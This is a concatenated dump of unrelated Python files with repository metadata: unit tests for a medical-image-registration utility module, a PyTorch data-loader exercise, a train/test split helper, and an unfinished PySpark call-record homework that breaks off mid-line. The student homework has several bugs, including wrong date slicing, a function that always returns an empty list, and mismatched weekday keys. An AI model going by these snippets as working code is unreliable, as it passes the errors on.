None\n\n    # Check size 0 - Fail\n    with pytest.raises(ValueError) as execinfo:\n        layer_util.check_inputs([0], 0)\n    msg = \" \".join(execinfo.value.args[0].split())\n    assert \"Inputs should be a list or tuple of size\" in msg\n    with pytest.raises(ValueError) as execinfo:\n        layer_util.check_inputs((0,), 0)\n    msg = \" \".join(execinfo.value.args[0].split())\n    assert \"Inputs should be a list or tuple of size\" in msg\n\n    # Check size 1 - Pass\n    assert layer_util.check_inputs([0], 1) is None\n    assert layer_util.check_inputs((0,), 1) is None\n\n    # Check size 1 - Fail\n    with pytest.raises(ValueError) as execinfo:\n        layer_util.check_inputs([], 1)\n    msg = \" \".join(execinfo.value.args[0].split())\n    assert \"Inputs should be a list or tuple of size\" in msg\n    with pytest.raises(ValueError) as execinfo:\n        layer_util.check_inputs((), 1)\n    msg = \" \".join(execinfo.value.args[0].split())\n    assert \"Inputs should be a list or tuple of size\" in msg\n\n\ndef test_get_reference_grid():\n    \"\"\"\n    Test get_reference_grid by confirming that it generates\n    a sample grid test case to check_equal's tolerance level.\n    \"\"\"\n    want = tf.constant(\n        np.array(\n            [[[[0, 0, 0], [0, 0, 1], [0, 0, 2]], [[0, 1, 0], [0, 1, 1], [0, 1, 2]]]],\n            dtype=np.float32,\n        )\n    )\n    get = layer_util.get_reference_grid(grid_size=[1, 2, 3])\n    assert check_equal(want, get)\n\n\ndef test_get_n_bits_combinations():\n    \"\"\"\n    Test get_n_bits_combinations by confirming that it generates\n    appropriate solutions for 1D, 2D, and 3D cases.\n    \"\"\"\n    # Check n=1 - Pass\n    assert layer_util.get_n_bits_combinations(1) == [[0], [1]]\n    # Check n=2 - Pass\n    assert layer_util.get_n_bits_combinations(2) == [[0, 0], [0, 1], [1, 0], [1, 1]]\n\n    # Check n=3 - Pass\n    assert layer_util.get_n_bits_combinations(3) == [\n        [0, 0, 0],\n        [0, 0, 1],\n        [0, 1, 0],\n        [0, 1, 1],\n        [1, 0, 0],\n        [1, 0, 1],\n        [1, 1, 0],\n        [1, 1, 1],\n    ]\n\n\ndef test_pyramid_combinations():\n    \"\"\"\n    Test pyramid_combinations by confirming that it generates\n    appropriate solutions for simple 1D and 2D cases.\n    \"\"\"\n    # Check numerical outputs are correct for a simple 1D pair of weights, values - Pass\n    weights = tf.constant(np.array([[0.2]], dtype=np.float32))\n    values = tf.constant(np.array([[1], [2]], dtype=np.float32))\n    # expected = 1 * 0.2 + 2 * 2\n    expected = tf.constant(np.array([1.8], dtype=np.float32))\n    got = layer_util.pyramid_combination(values=values, weights=weights)\n    assert check_equal(got, expected)\n\n    # Check numerical outputs are correct for a 2D pair of weights, values - Pass\n    weights = tf.constant(np.array([[0.2], [0.3]], dtype=np.float32))\n    values = tf.constant(\n        np.array(\n            [\n                [1],  # value at corner (0, 0), weight = 0.2 * 0.3\n                [2],  # value at corner (0, 1), weight = 0.2 * 0.7\n                [3],  # value at corner (1, 0), weight = 0.8 * 0.3\n                [4],  # value at corner (1, 1), weight = 0.8 * 0.7\n            ],\n            dtype=np.float32,\n        )\n    )\n    # expected = 1 * 0.2 * 0.3\n    #          + 2 * 0.2 * 0.7\n    #          + 3 * 0.8 * 0.3\n    #          + 4 * 0.8 * 0.7\n    expected = tf.constant(np.array([3.3], dtype=np.float32))\n    got = layer_util.pyramid_combination(values=values, weights=weights)\n    assert check_equal(got, expected)\n\n\ndef test_resample():\n    \"\"\"\n    Test resample by confirming that it generates appropriate\n    resampling on two test cases with outputs within check_equal's\n    tolerance level, and one which should fail (incompatible shapes).\n    \"\"\"\n    # linear, vol has no feature channel - Pass\n    interpolation = \"linear\"\n    vol = tf.constant(\n        np.array([[[0, 1, 2], [3, 4, 5]]], dtype=np.float32)\n    )  # shape = [1,2,3]\n    loc = tf.constant(\n        np.array(\n            [\n                [\n                    [[0, 0], [0, 1], [0, 3]],  # outside frame\n                    [[0.4, 0], [0.5, 1], [0.6, 2]],\n                    [[0.4, 0.7], [0.5, 0.5], [0.6, 0.3]],\n                ]\n            ],  # resampled = 3x+y\n            dtype=np.float32,\n        )\n    )  # shape = [1,3,3,2]\n    want = tf.constant(\n        np.array([[[0, 1, 2], [1.2, 2.5, 3.8], [1.9, 2, 2.1]]], dtype=np.float32)\n    )  # shape = [1,3,3]\n    get = layer_util.resample(vol=vol, loc=loc, interpolation=interpolation)\n    assert check_equal(want, get)\n\n    # linear, vol has feature channel - Pass\n    interpolation = \"linear\"\n    vol = tf.constant(\n        np.array(\n            [[[[0, 0], [1, 1], [2, 2]], [[3, 3], [4, 4], [5, 5]]]], dtype=np.float32\n        )\n    )  # shape = [1,2,3,2]\n    loc = tf.constant(\n        np.array(\n            [\n                [\n                    [[0, 0], [0, 1], [0, 3]],  # outside frame\n                    [[0.4, 0], [0.5, 1], [0.6, 2]],\n                    [[0.4, 0.7], [0.5, 0.5], [0.6, 0.3]],\n                ]\n            ],  # resampled = 3x+y\n            dtype=np.float32,\n        )\n    )  # shape = [1,3,3,2]\n    want = tf.constant(\n        np.array(\n            [\n                [\n                    [[0, 0], [1, 1], [2, 2]],\n                    [[1.2, 1.2], [2.5, 2.5], [3.8, 3.8]],\n                    [[1.9, 1.9], [2, 2], [2.1, 2.1]],\n                ]\n            ],\n            dtype=np.float32,\n        )\n    )  # shape = [1,3,3,2]\n    get = layer_util.resample(vol=vol, loc=loc, interpolation=interpolation)\n    assert check_equal(want, get)\n\n    # Inconsistent shapes for resampling - Fail\n    interpolation = \"linear\"\n    vol = tf.constant(np.array([[0]], dtype=np.float32))  # shape = [1,1]\n    loc = tf.constant(np.array([[0, 0], [0, 0]], dtype=np.float32))  # shape = [2,2]\n    with pytest.raises(ValueError) as execinfo:\n        layer_util.resample(vol=vol, loc=loc, interpolation=interpolation)\n    msg = \" \".join(execinfo.value.args[0].split())\n    assert \"vol shape inconsistent with loc\" in msg\n\n\ndef test_random_transform_generator():\n    \"\"\"\n    Test random_transform_generator by confirming that it generates\n    appropriate solutions and output sizes for seeded examples.\n    \"\"\"\n    # Check shapes are correct Batch Size = 1 - Pass\n    batch_size = 1\n    transforms = layer_util.random_transform_generator(batch_size, 0)\n    assert transforms.shape == (batch_size, 4, 3)\n\n    # Check numerical outputs are correct for a given seed - Pass\n    batch_size = 1\n    scale = 0.1\n    seed = 0\n    expected = tf.constant(\n        np.array(\n            [\n                [\n                    [9.4661278e-01, -3.8267835e-03, 3.6934228e-03],\n                    [5.5613145e-03, 9.8034811e-01, -1.8044969e-02],\n                    [1.9651605e-04, 1.4576728e-02, 9.6243286e-01],\n                    [-2.5107686e-03, 1.9579126e-02, -1.2195010e-02],\n                ]\n            ],\n            dtype=np.float32,\n        )\n    )  # shape = (1, 4, 3)\n    got = layer_util.random_transform_generator(\n        batch_size=batch_size, scale=scale, seed=seed\n    )\n    assert check_equal(got, expected)\n\n\ndef test_warp_grid():\n    \"\"\"\n    Test warp_grid by confirming that it generates\n    appropriate solutions for a simple precomputed case.\n    \"\"\"\n    grid = tf.constant(\n        np.array(\n            [[[[0, 0, 0], [0, 0, 1], [0, 0, 2]], [[0, 1, 0], [0, 1, 1], [0, 1, 2]]]],\n            dtype=np.float32,\n        )\n    )  # shape = (1, 2, 3, 3)\n    theta = tf.constant(\n        np.array(\n            [\n                [\n                    [0.86, 0.75, 0.48],\n                    [0.07, 0.98, 0.01],\n                    [0.72, 0.52, 0.97],\n                    [0.12, 0.4, 0.04],\n                ]\n            ],\n            dtype=np.float32,\n        )\n    )  # shape = (1, 4, 3)\n    expected = tf.constant(\n        np.array(\n            [\n                [\n                    [\n                        [[0.12, 0.4, 0.04], [0.84, 0.92, 1.01], [1.56, 1.44, 1.98]],\n                        [[0.19, 1.38, 0.05], [0.91, 1.9, 1.02], [1.63, 2.42, 1.99]],\n                    ]\n                ]\n            ],\n            dtype=np.float32,\n        )\n    )  # shape = (1, 1, 2, 3, 3)\n    got = layer_util.warp_grid(grid=grid, theta=theta)\n    assert check_equal(got, expected)\n\n\ndef test_resize3d():\n    \"\"\"\n    Test resize3d by confirming the output shapes.\n    \"\"\"\n\n    # Check resize3d for images with different size and without channel nor batch - Pass\n    input_shape = (1, 3, 5)\n    output_shape = (2, 4, 6)\n    size = (2, 4, 6)\n    got = layer_util.resize3d(image=tf.ones(input_shape), size=size)\n    assert got.shape == output_shape\n\n    # Check resize3d for images with different size and without channel - Pass\n    input_shape = (1, 1, 3, 5)\n    output_shape = (1, 2, 4, 6)\n    size = (2, 4, 6)\n    got = layer_util.resize3d(image=tf.ones(input_shape), size=size)\n    assert got.shape == output_shape\n\n    # Check resize3d for images with different size and with one channel - Pass\n    input_shape = (1, 1, 3, 5, 1)\n    output_shape = (1, 2, 4, 6, 1)\n    size = (2, 4, 6)\n    got = layer_util.resize3d(image=tf.ones(input_shape), size=size)\n    assert got.shape == output_shape\n\n    # Check resize3d for images with different size and with multiple channels - Pass\n    input_shape = (1, 1, 3, 5, 3)\n    output_shape = (1, 2, 4, 6, 3)\n    size = (2, 4, 6)\n    got = layer_util.resize3d(image=tf.ones(input_shape), size=size)\n    assert got.shape == output_shape\n\n    # Check resize3d for images with the same size and without channel nor batch - Pass\n    input_shape = (1, 3, 5)\n    output_shape = (1, 3, 5)\n    size = (1, 3, 5)\n    got = layer_util.resize3d(image=tf.ones(input_shape), size=size)\n    assert got.shape == output_shape\n\n    # Check resize3d for images with the same size and without channel - Pass\n    input_shape = (1, 1, 3, 5)\n    output_shape = (1, 1, 3, 5)\n    size = (1, 3, 5)\n    got = layer_util.resize3d(image=tf.ones(input_shape), size=size)\n    assert got.shape == output_shape\n\n    # Check resize3d for images with the same size and with one channel - Pass\n    input_shape = (1, 1, 3, 5, 1)\n    output_shape = (1, 1, 3, 5, 1)\n    size = (1, 3, 5)\n    got = layer_util.resize3d(image=tf.ones(input_shape), size=size)\n    assert got.shape == output_shape\n\n    # Check resize3d for images with the same size and with multiple channels - Pass\n    input_shape = (1, 1, 3, 5, 3)\n    output_shape = (1, 1, 3, 5, 3)\n    size = (1, 3, 5)\n    got = layer_util.resize3d(image=tf.ones(input_shape), size=size)\n    assert got.shape == output_shape\n", "meta": {"hexsha": "b3a367f53ff6128d46bc5816ce296666d257ce7b", "size": 12247, "ext": "py", "lang": "Python", "max_stars_repo_path": "test/unit/test_layer_util.py", "max_stars_repo_name": "agrimwood/DeepRegFromMain20200714", "max_stars_repo_head_hexsha": "1a1b82ca1e09ee03b1a04f35e192e3230be1c2eb", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "test/unit/test_layer_util.py", "max_issues_repo_name": "agrimwood/DeepRegFromMain20200714", "max_issues_repo_head_hexsha": "1a1b82ca1e09ee03b1a04f35e192e3230be1c2eb", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "test/unit/test_layer_util.py", "max_forks_repo_name": "agrimwood/DeepRegFromMain20200714", "max_forks_repo_head_hexsha": "1a1b82ca1e09ee03b1a04f35e192e3230be1c2eb", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.9252077562, "max_line_length": 88, "alphanum_fraction": 0.5584224708, "include": true, "reason": "import numpy", "num_tokens": 3783, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.13660839178375975, "lm_q1q2_score": 0.0667036093660778}}
{"text": "import csv\nimport numpy as np\nimport torch\nfrom torch.utils.data import Dataset, DataLoader, SubsetRandomSampler\n\n\nclass SimpleDataset(Dataset):\n    \"\"\"SimpleDataset [summary]\n\n    [extended_summary]\n\n    :param path_to_csv: [description]\n    :type path_to_csv: [type]\n    \"\"\"\n    def __init__(self, path_to_csv, transform=None):\n        self.data = np.genfromtxt(path_to_csv, delimiter=\",\")\n\n        self.transform = transform\n\n    def __len__(self):\n        \"\"\"__len__ returns length of dataset\"\"\"\n        return len(self.data)\n\n    def __getitem__(self, index):\n        \"\"\"__getitem__ [summary]\n\n        [extended_summary]\n\n        :param index: [description]\n        :type index: [type]\n        \"\"\"\n        ## This returns only ONE sample from the dataset, for a given index.\n        ## The returned sample should be a tuple (x, y) where x is your input\n        ## vector and y is your label\n        ## Before returning your sample, you should check if there is a transform\n        ## sepcified, and apply that transform to your sample\n        # Eg:\n        # if self.transform:\n        #   sample = self.transform(sample)\n        ## Remember to convert the x and y into torch tensors.\n        x, y = torch.from_numpy(self.data[:,:-1]).float(), torch.from_numpy(self.data[:,-1]).float()\n        sample = x[index], y[ index]\n        if self.transform is None:\n            return sample\n        else:\n            return self.transform(sample)\n\n\ndef get_data_loaders(path_to_csv,\n                     transform_fn=None,\n                     train_val_test=[0.8, 0.2, 0.2],\n                     batch_size=32):\n    \"\"\"get_data_loaders [summary]\n\n    [extended_summary]\n\n    :param path_to_csv: [description]\n    :type path_to_csv: [type]\n    :param train_val_test: [description], defaults to [0.8, 0.2, 0.2]\n    :type train_val_test: list, optional\n    :param batch_size: [description], defaults to 32\n    :type batch_size: int, optional\n    :return: [description]\n    :rtype: [type]\n    \"\"\"\n    # First we create the dataset given the path to the .csv file\n    dataset = SimpleDataset(path_to_csv, transform=transform_fn)\n\n    # Then, we create a list of indices for all samples in the dataset.\n    dataset_size = len(dataset)\n    indices = list(range(dataset_size))\n\n    ## TODO: Rewrite this section so that the indices for each dataset split\n    ## are formed.\n\n    ## BEGIN: YOUR CODE\n    test_size = int(train_val_test[-1]*dataset_size)\n    train_val_size = dataset_size - test_size\n    train_size = int(train_val_test[0]*train_val_size)\n\n    train_indices = indices[:train_size]\n    val_indices = indices[train_size:-1*test_size]\n    test_indices = indices[-1*test_size:]\n    ## END: YOUR CODE\n\n    # Now, we define samplers for each of the train, val and test data\n    train_sampler = SubsetRandomSampler(train_indices)\n    train_loader = DataLoader(dataset, batch_size=batch_size, sampler=train_sampler)\n\n    val_sampler = SubsetRandomSampler(val_indices)\n    val_loader = DataLoader(dataset, batch_size=batch_size, sampler=val_sampler)\n\n    test_sampler = SubsetRandomSampler(test_indices)\n    test_loader = DataLoader(dataset, batch_size=batch_size, sampler=test_sampler)\n\n    return train_loader, val_loader, test_loader\n", "meta": {"hexsha": "7545c1171762485aad915676b4e398b764e9d1ff", "size": 3233, "ext": "py", "lang": "Python", "max_stars_repo_path": "a2/data_loader.py", "max_stars_repo_name": "EliasLittle/IntSys-Education", "max_stars_repo_head_hexsha": "6a02f00560831036204cb8e6953c11d8dadd34f3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "a2/data_loader.py", "max_issues_repo_name": "EliasLittle/IntSys-Education", "max_issues_repo_head_hexsha": "6a02f00560831036204cb8e6953c11d8dadd34f3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "a2/data_loader.py", "max_forks_repo_name": "EliasLittle/IntSys-Education", "max_forks_repo_head_hexsha": "6a02f00560831036204cb8e6953c11d8dadd34f3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.3298969072, "max_line_length": 100, "alphanum_fraction": 0.6650170121, "include": true, "reason": "import numpy", "num_tokens": 756, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4493926344647596, "lm_q2_score": 0.14804720179063333, "lm_q1q2_score": 0.06653132203782858}}
{"text": "\"\"\"\nAuthors : Aditya Jain\nContact : https://adityajain.me\n\"\"\"\n\n\nimport numpy as np\n\ndef train_test_split(X,Y,test_size=None,random_state=5):\n\t\"\"\"\n\tTrain Test split function\n\t\n\tParameters\n\t----------\n\n\tX : numpy array, independent variables\n\n\ty : numpy array, dependent variables\n\t\n\ttest_size : float, percent of test samples\n\n\trandom_state : integer, random seed\n\n\tReturns\n\t-------\n\tX_train, X_test, Y_train, Y_test\n\n\t\"\"\"\n\tassert test_size!=None, \"test_size cannot be None\"\n\tnp.random.seed(random_state)\n\tindexes = np.random.choice([False,True],size=len(X),p=[test_size,1-test_size])\n\treturn X[indexes],X[~indexes],Y[indexes],Y[~indexes]", "meta": {"hexsha": "9b87b7530dad6699e2b89971b41c4dbd96bbe0cc", "size": 637, "ext": "py", "lang": "Python", "max_stars_repo_path": "model_selection/base.py", "max_stars_repo_name": "adityajn105/MLfromScratch", "max_stars_repo_head_hexsha": "ea0758d4039051268d7f3af8799e2b005dbc2ebe", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 16, "max_stars_repo_stars_event_min_datetime": "2019-12-17T04:24:51.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-15T18:31:41.000Z", "max_issues_repo_path": "model_selection/base.py", "max_issues_repo_name": "adityajn105/MLfromScratch", "max_issues_repo_head_hexsha": "ea0758d4039051268d7f3af8799e2b005dbc2ebe", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "model_selection/base.py", "max_forks_repo_name": "adityajn105/MLfromScratch", "max_forks_repo_head_hexsha": "ea0758d4039051268d7f3af8799e2b005dbc2ebe", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 5, "max_forks_repo_forks_event_min_datetime": "2019-12-17T04:24:55.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-23T15:18:24.000Z", "avg_line_length": 19.90625, "max_line_length": 79, "alphanum_fraction": 0.7080062794, "include": true, "reason": "import numpy", "num_tokens": 166, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.13846179767920994, "lm_q1q2_score": 0.06652794150904355}}
{"text": "\"\"\"\nGENERAL INSTRUCTIONS\n1. WHICH PART TO CHANGE?: Uncomment every line with  [YOUR CODE HERE] and replace it with your code.\nPlease don't change anything else other than these lines. In other parts, the code isnt commented,\nso just replace the parts with YOUR CODE or YOUR CODE HEREE\n\n2. USE OF JUPYTER NOTEBOOK: For those who would like to use Jupyter Notebook. You can copy and paste\neach function in the notebook environment, test your code their. However,\nremember to paste back your code in a .py file and ensure that its running\nokay.\n\n3. INDENTATION: Please make sure that you check your indentation\n\n4. Returning things from function: Please dont forget to use the return statement\nto return a value when applicable\n\n5. HINTS: please read my comments for hints and instructions where applicable\n\n6. DEFINING YOUR OWN FUNCTIONS: where I ask you to define your own function\nplease make sure that you name the function exactly as I said.\n\n7. Please work on the following functions in the order provided:\n    - add_date_and_filter\n    - get_events_before_jul13\n    - preprocess_cdrs_using_spark\n    - explore_data_with_spark\n    - generate_user_attributes_with_pandas\n8. Dataset for this work: all the questions are based on the simulated_cdrs dataset,\nplease download it and have it on your machine\n\"\"\"\nfrom itertools import groupby\nimport random\nimport seaborn as sns\nimport numpy as np\nfrom collections import namedtuple\nfrom datetime import datetime\nfrom pathlib import Path\nimport random\nfrom pyspark.sql import *\nfrom pyspark.sql.functions import *\nfrom pyspark.sql.types import *\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\ndef add_date_and_filter(csv_file, date_format, ref_date):\n    \"\"\"\n    Create a dataframe, add date and filter out events based on ref date\n    :return:\n    \"\"\"\n    df = pd.read_csv(csv_file)\n    str_time_col = 'cdr datetime'\n\n    # convert date string to Python datetime\n    # please extract only the Year, month and day from the date string using\n    # indexing, please use solutions from first assignment to achieve this\n    #f = lambda x: pd.to_datetime(x[:10], format=date_format)\n    df['cdr_date'] = df[str_time_col].apply(lambda x: pd.to_datetime(str(x)[:9],format=date_format))     ########YOUR CODE\n\n    # please retrieve all events older than or equal to the reference date\n    # please use the query function for pandas DataFrame like below\n    df.query('cdr_date <= @ref_date', inplace=True)\n\n    if df.shape[0]:\n        return df\n    else:\n        return 'NA'\n\n\ndef get_events_before_jul13(csv_folder, ref_date, date_format, num_csv_files):\n    \"\"\"\n    In this function, we will use the map function to run the\n    add_date_and_filter above on a list of CSV_files\n    :param csv_folder:\n    :return:\n    \"\"\"\n    list_csv = [f for f in csv_folder.iterdir() if f.suffix == '.csv']\n    # use the function random.choices() to select only a sample of the CSVs  for fast processing\n    # set k to num_csv_files in the function\n    list_csv =  random.choices(list_csv,k= num_csv_files)\n    time_format = \"%Y%m%d\"\n\n    # Use  the datetime.strptime() to convert the string ref_date to Python datetime object\n    # This function requires two args, the other one is date format\n    ref_date = datetime.strptime(ref_date,  date_format)\n\n    # Run map with multiple iterables(r.g., two lists)\n    # Note that input-1 is the list of CSV we generated above\n    # Prepare input-2 and input-3 as below. Please use the  multiplication\n    # operator on a single list item to repeat the same element multiple\n    # times in a list as we did in the first assignment\n    list_date_format = [date_format]*len(list_csv)\n    list_date_ref_date = [ref_date]*len(list_csv)\n\n    # now run the map function with the three input lists we have defined\n    results = map(add_date_and_filter,list_csv,list_date_format,list_date_ref_date)\n\n    # write code to identify elements in the list which arent s 'NA'\n    # You can use a list comprehension with if condition. To identify elements\n    # which are 'NA', you can use isinstance() function to detect data type\n    no_na_results = []\n    print('I found {} non NA results'.format(len(no_na_results)))\n\n    return no_na_results\n\n\ndef rename_sdf(df, mapper=None):\n    ''' Rename column names of a dataframe\n        mapper: a dict mapping from the old column names to new names\n        Usage:\n            df.rename({'old_col_name': 'new_col_name', 'old_col_name2': 'new_col_name2'})\n            df.rename(old_col_name=new_col_name)\n    '''\n    for before, after in mapper.items():\n        df = df.withColumnRenamed(before, after)\n\n    return df\n\ndef preprocess_cdrs_using_spark(file_or_folder=None, number_of_users_to_sample=None,\n                                output_csv=None, date_format='%Y%m%d%H%M%S',\n                                debug_mode=True, loc_file=None, save_to_csv=False,\n                                userid_col=\"user_id\"):\n    \"\"\"\n    In this function, we perfom some basic preprocessing such as below:\n    1. rename columns\n    2. change some data types\n    3. Add location details\n    Eventually, we will sample the data to use for our analysis\n    :param data_folder:\n    :param output_csv_for_sample_users:\n    :return:\n    \"\"\"\n\n    # ==============================\n    # LOAD DATA\n    # ==============================\n    # create SparkSession\n    spark = SparkSession.builder \\\n    .master(\"local[*]\") \\\n    .appName(\"Assignement Of Louis\") \\\n    .getOrCreate() \n    # read data with spark and ensure you set header to True\n    df = spark.read.csv(file_or_folder ,header=True)\n    # repartition to speed up\n    df = df.repartition(10)\n\n    # if just testing/debugging, pick only a small subset of the dataset\n    # for instance, 0.01 percent of the data\n    # by using the sample function of spark\n    if debug_mode:\n        dfs = df.sample(fraction = 0.1) \n        df = dfs\n\n    # ==================================================\n    # RENAME, DROP COLUMNS, ADD DATETIME AND DROP NULLS\n    # ===================================================\n    # rename columns to remove space the names\n    # replace space with underscore\n    cols_to_rename = {}\n    for c in df.columns:\n        if \" \" in c:\n            cols_to_rename[c] = c.replace(\" \", \"_\")\n\n    #  now call the rename_sdf function\n    # using df and the dictionary above\n    df = rename_sdf(df, mapper=cols_to_rename)\n\n    # this approach is also okay but you are hardcoding the column names\n    # so, lets avoid hardcoding at all times\n    #     df = (df.withColumnRenamed(\"cdr datetime\", \"cdrDatetime\")\n    #         .withColumnRenamed(\"last calling cellid\", \"cellId\")\n    #         .withColumnRenamed(\"call duration\", \"cellDuration\"))\n\n    # change the column \"last_calling_cellid\" to just cell_id\n    df = df.withColumnRenamed(\"last_calling_cellid\",\"cell_id\") \n    # drop the cdr_type and call_duration because we dont really need them\n    df = df.drop(\"cdr type\",\"call_duration\") \n    # lets make sure we don't have any values in the user_id\n    # and cdr_datetime columns\n    # use spark filter() function and isNotNull() in a nested\n    # fashion to achieve this\n    df = df.filter(df['user_id'].isNotNull()) \n    df = df.filter(df.cdr_datetime.isNotNull())\n\n    # Use Spark UDF to add date and datetime\n    add_datetime = udf(lambda x: datetime.strptime(x, date_format), TimestampType())\n    add_date = udf(lambda x: datetime.strptime(x, date_format), DateType())\n\n\n    # create timestamp and date column\n    df = df.withColumn('datetime', add_datetime(col('cdr_datetime')))\n    df = df.withColumn('date', add_date(col('cdr_datetime'))) \n\n    # ==================================================\n    # ADD LOCATION THROUGH JOIN\n    # ===================================================\n    # Lets merge with location details using cellId from CDRs and also\n    # cellID on the other\n    # read pandas dataframe of location details\n    dfLoc = pd.read_csv(loc_file)\n    # remove duplicates from the cell_id column to make sure we only\n    # unique cell_ids.Use the drop_duplicates() in pandas\n    dfLoc = dfLoc.drop_duplicates(subset='cell_id')\n    # create spark dataframe from the pandas dataframe\n    # using the function createDataFrame from the SparkSession object\n    # and the pandas DataFrame created above\n    sdfLoc = spark.createDataFrame(dfLoc)\n\n    # join the cdrs dataframe with the location dataframe\n    # When using the join function, make sure you choose the option which allows\n    # to keep all records on the cdrs side which match with records on the right.\n    # please use \"inner\"\n    # best option here. Check the docs for details:\n    # https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.sql.DataFrame\n    df = df.join(sdfLoc,on='cell_id',how = \"inner\")\n\n    # Drop all records which didn't find a match in the location file because we cant do this analysis\n    # without location. There are several ways to do this. For instance, you can drop all rows where\n    # use spark filter and condition set to cell_id isNotNull()\n    df = df.filter(df.cell_id.isNotNull()) \n    # ==================================================\n    # SAMPLE USERS\n    # ===================================================\n    # first, create a list of unique user user_ids\n    # using the distinct() function on the userid_col\n    all_users =  df.select(userid_col).distinct().collect() \n\n    # randomly select the required number of users\n    # using the random.choices() function\n    random_userid_list = [i[userid_col] for i in random.choices(all_users, k=number_of_users_to_sample)]\n\n    # Now, for each of the selected users, leets get their data\n    # select only our random user data using spark filter\n    # use df.filter(). Inside it, use the isin() function on the\n    # userid column\n    dfu = df.filter(df['user_id'].isin(random_userid_list))\n\n    # save to CSV if necessary\n    if save_to_csv:\n        dfu.coalesce(1).write.csv(path=output_csv, header=True)\n    else:\n        return dfu\n\n\n\ndef explore_data_with_spark(df=None, output_plot_file=None, output_heatmap=None):\n    \"\"\"\n    Lets do a quick exploration of the data by generating the following:\n    1. Number of days in the data\n    2. User call count stats\n    3. Weekday and hour calling patterns\n    \"\"\"\n    # =====================================\n    # CALCULATE THE NUMBER OF DAYS IN DATA\n    # =====================================\n\n    # use relevant spark function to generate\n    # a list of unique dates, recall that the date\n    # column is 'date\n    dates_rows = df.select('date').distinct().collect() \n    # sort the dates using sorted() function\n    sorted_dates = sorted(dates_rows)  \n    # use list indexing to get the first element and last\n    # element from the sorted list, substract them to get\n    # time difference\n    diff = sorted_dates[-1]['date']-sorted_dates[0]['date']\n    # use days function to get the number of days\n    num_days = diff.days\n    # =====================================\n    # GENERATE WEEKDAY AND HOUR CALL COUNT\n    # =====================================\n\n    # define UDF to calculate hour and weekday\n    # for weekday use weekday() function while\n    # for hour, use hour()\n    add_hr = udf(lambda x :x.hour)              # Define Spark udf to get hour from the datetime column\n    add_wkday = udf(lambda x: x.weekday())         # Define Spark udf to get hour from the datetime column\n    # create a dictionary with keys as the weekday integers while the values\n    # are the weekday name\n    day_dict = {'1':'Monday', '2':'Tuesday', '3':'Wednesday', '4':'Thursday', '5':'Friday', '6':'Saturday','7':'Sunday'}\n\n    # add hour column, lets call it 'hr\n    # also add weekday column, we call it 'wkday'\n    df = df.withColumn('hr',add_hr(col('datetime')))\n\n    df = df.withColumn('wkday',add_wkday(col('date')))\n\n    # create pandas DataFrame from Spark DataFrame above using toPandas()\n    pdf =  df.groupBy('wkday','hr').count().toPandas()\n    # use the Pandas.Series.map() function on the \"wkday\" column to convert\n    # wkday as numbers to week day names and create  new column for weekday name\n    # Lets call that column 'weekDay'\n    pdf['weekDay']=pdf['wkday'].map(lambda x: day_dict[x])\n    # drop the \"wkday\" column now\n    pdf = pdf.drop(\"wkday\", axis = 1)\n    pdf = pdf.pivot(index='weekDay', columns='hr', values='count')\n\n    # create and save heatmap\n    # use plt.figure() to create figure with your chosen size\n    plt.figure(figsize = (7,7))\n    # use sns.heatmap() function to create heatmap using the Pandas DataFrame, pdf\n    sns.heatmap(pdf)\n    # save the figure to file\n    plt.savefig(output_heatmap)\n\n    # =====================================\n    # NUMBER OF CALLS FOR EACH USER\n    # =====================================\n    # Use Spark groupBy function to group user and count number of events\n    # convert resulting spark dataframe to pandas in the samee line of code\n    df_grp_user =  df.groupby('user_id').count().toPandas()\n\n    # create a distribution plot of user call count using\n    # seaborn distplot() function and save the figure\n    # first, use plt.figure() to create new figure environment\n    # Next, create the plot and then finally save it\n    plt.figure(figsize= (5,5))\n    sns.distplot(df_grp_user)                                                        # A refaire\n    plt.savefig(output_plot_file)\n\n    # report average number calls per day for each user\n    # first use spark groupBy on user_id and day, then\n    # convert that object to pandas dataframe using toPandas()\n    # function\n    df_grp_day = df.groupby('user_id','date').count().toPandas()\n\n    # get mean and median\n    mean =  df_grp_day['count'].mean()\n    median = df_grp_day['count'].median()\n\n    # return results like this mean, median, number of days\n    return mean, median, df_grp_day['date'].nunique()\n\nif __name__ == '__main__':\n    # ============================================\n    # QUESTION 1: USING MAP FUNCTION\n    # ============================================\n    time_format = \"%Y%m%d\"\n    reference_date = '20180713'\n    num_csv_files = 20\n    #  add full path to the CSV folder and the function Path() to convert to\n    # a path object\n    path_to_csv = Path('/home/user/Desktop/big data analytic/simulated_cdr')\n    get_events_before_jul13(path_to_csv , reference_date, time_format,num_csv_files)\n\n    # ============================================\n    # QUESTION 2: PREPROCESS SIMULATED CDRS\n    # ============================================\n    cdrs_dir ='/home/user/Desktop/big data analytic/simulated_cdr'                              #ADD PATH TO FOLDER WITH MULTIPLE CSV 